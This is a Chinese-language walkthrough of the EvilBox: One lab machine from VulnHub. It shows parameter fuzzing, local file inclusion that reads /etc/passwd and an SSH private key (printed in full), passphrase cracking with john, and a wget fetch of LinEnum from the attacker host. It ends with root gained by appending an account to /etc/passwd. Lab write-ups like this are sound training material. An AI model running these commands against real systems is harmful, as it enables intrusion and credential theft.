vulnhub靶場之EVILBOX: ONE

2022-11-30 06:05:05

準備:

攻擊機:虛擬機器器kali、本機win10。

靶機:EVILBOX: ONE,下載地址:https://download.vulnhub.com/evilbox/EvilBox---One.ova,下載後直接vbox開啟即可。

知識點:檔案包含漏洞、ffuf爆破引數名、ssh2john和john爆破密碼、ssh私匙登入、/etc/passwd提權。

資訊收集:

掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.110.80,顯示開放了22、80埠,開啟了ssh、http服務

使用dirmap進行目錄掃描,發現了robots.txt和目錄secret,存取robots.txt檔案顯示:Hello H4x0r,對secrect目錄進行掃描,發現evil.php。

引數名爆破:

存取:http://192.168.110.80/secret/evil.php未回返有用資訊,考慮是需要傳遞引數,那我們就需要進行引數爆破,這裡使用ffuf進行引數名爆破,命令:ffuf -u 'http://192.168.110.80/secret/evil.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 0,發現引數名command。

檔案包含漏洞:

存取下/etc/passwd檔案,命令:http://192.168.110.80/secret/evil.php?command=../../../../../../etc/passwd,發現賬戶:mowree。

利用php偽協定讀取下evil.php檔案,命令:http://192.168.110.80/secret/evil.php?command=php://filter/read=convert.base64-encode/resource=evil.php,獲得base64加密的資訊,進行base64解密,獲得evil.php的原始碼資訊,但是該php檔案無隱藏資訊。

私匙獲取:

nmap進行掃描時開啟了ssh服務,檢視下ssh服務的登入方式有哪些,命令:sudo ssh [email protected] -v,顯示支援密碼和公匙登入。

嘗試讀取公匙資訊,但是讀取失敗:http://192.168.110.80/secret/evil.php?command=php://filter/read=convert.base64-encode/resource=/home/mowree/.ssh/id_rsa.pub。嘗試讀取下ssh的私匙資訊,命令:http://192.168.110.80/secret/evil.php?command=php://filter/read=convert.base64-encode/resource=/home/mowree/.ssh/id_rsa,進行解碼獲得私匙資訊。

ssh私匙
 -----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E

uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEklzONt+x4AO6FmjFmR8RUpwMHurmbRC6
hqyoiv8vgpQgQRPYMzJ3QgS9kUCGdgC5+cXlNCST/GKQOS4QMQMUTacjZZ8EJzoe
o7+7tCB8Zk/sW7b8c3m4Cz0CmE5mut8ZyuTnB0SAlGAQfZjqsldugHjZ1t17mldb
+gzWGBUmKTOLO/gcuAZC+Tj+BoGkb2gneiMA85oJX6y/dqq4Ir10Qom+0tOFsuot
b7A9XTubgElslUEm8fGW64kX3x3LtXRsoR12n+krZ6T+IOTzThMWExR1Wxp4Ub/k
HtXTzdvDQBbgBf4h08qyCOxGEaVZHKaV/ynGnOv0zhlZ+z163SjppVPK07H4bdLg
9SC1omYunvJgunMS0ATC8uAWzoQ5Iz5ka0h+NOofUrVtfJZ/OnhtMKW+M948EgnY
zh7Ffq1KlMjZHxnIS3bdcl4MFV0F3Hpx+iDukvyfeeWKuoeUuvzNfVKVPZKqyaJu
rRqnxYW/fzdJm+8XViMQccgQAaZ+Zb2rVW0gyifsEigxShdaT5PGdJFKKVLS+bD1
tHBy6UOhKCn3H8edtXwvZN+9PDGDzUcEpr9xYCLkmH+hcr06ypUtlu9UrePLh/Xs
94KATK4joOIW7O8GnPdKBiI+3Hk0qakL1kyYQVBtMjKTyEM8yRcssGZr/MdVnYWm
VD5pEdAybKBfBG/xVu2CR378BRKzlJkiyqRjXQLoFMVDz3I30RpjbpfYQs2Dm2M7
Mb26wNQW4ff7qe30K/Ixrm7MfkJPzueQlSi94IHXaPvl4vyCoPLW89JzsNDsvG8P
hrkWRpPIwpzKdtMPwQbkPu4ykqgKkYYRmVlfX8oeis3C1hCjqvp3Lth0QDI+7Shr
Fb5w0n0qfDT4o03U1Pun2iqdI4M+iDZUF4S0BD3xA/zp+d98NnGlRqMmJK+StmqR
IIk3DRRkvMxxCm12g2DotRUgT2+mgaZ3nq55eqzXRh0U1P5QfhO+V8WzbVzhP6+R
MtqgW1L0iAgB4CnTIud6DpXQtR9l//9alrXa+4nWcDW2GoKjljxOKNK8jXs58SnS
62LrvcNZVokZjql8Xi7xL0XbEk0gtpItLtX7xAHLFTVZt4UH6csOcwq5vvJAGh69
Q/ikz5XmyQ+wDwQEQDzNeOj9zBh1+1zrdmt0m7hI5WnIJakEM2vqCqluN5CEs4u8
p1ia+meL0JVlLobfnUgxi3Qzm9SF2pifQdePVU4GXGhIOBUf34bts0iEIDf+qx2C
pwxoAe1tMmInlZfR2sKVlIeHIBfHq/hPf2PHvU0cpz7MzfY36x9ufZc5MH2JDT8X
KREAJ3S0pMplP/ZcXjRLOlESQXeUQ2yvb61m+zphg0QjWH131gnaBIhVIj1nLnTa
i99+vYdwe8+8nJq4/WXhkN+VTYXndET2H0fFNTFAqbk2HGy6+6qS/4Q6DVVxTHdp
4Dg2QRnRTjp74dQ1NZ7juucvW7DBFE+CK80dkrr9yFyybVUqBwHrmmQVFGLkS2I/
8kOVjIjFKkGQ4rNRWKVoo/HaRoI/f2G6tbEiOVclUMT8iutAg8S4VA==
-----END RSA PRIVATE KEY-----

將私匙資訊儲存到kali,然後使用私匙進行登入時發現還需要密碼才可以,我們利用ssh2john生成hash.txt檔案,命令:ssh2john id_rsa > hash.txt,然後使用john進行密碼的破解,命令:john --wordlist=/usr/share/worlists/rockyou.txt hash.txt。成功獲得密碼:unicorn。

獲取shell:

利用獲得賬戶資訊、密碼資訊、私匙資訊:mowree、unicorn、id_rsa,命令:sudo ssh -i id_rsa [email protected],成功獲得shell許可權並讀取到flag值。

提權:

檢視當前使用者下具有root許可權的可執行檔案都有哪些,命令:find / -perm -4000 -type f 2>/dev/null。

使用LinEnum進行資訊收集,在本機使用python開啟http服務,命令:python -m http.server,然後靶機使用:wget http://192.168.110.234:8000/LinEnum.sh下載該檔案並賦予可執行許可權進行執行,發現我們對/etc/passwd檔案具有讀寫許可權。

/etc/passwd提權:

那我們可以在passwd檔案中新增一個新的root許可權的賬戶,命令:openssl passwd -1 -salt upfine生成密碼:$1$upfine$lmB8MIReLqOd0SwojmfN5/。

在shell中按照root賬戶的格式寫入到/etc/passwd檔案中,命令:echo 'upfine:$1$upfine$lmB8MIReLqOd0SwojmfN5/:0:0::/root:/bin/bash' >> /etc/passwd。

切換upfine使用者,輸入密碼後成功切換到root賬戶並在/root目錄下讀取到root.txt檔案,獲取到第二個flag檔案。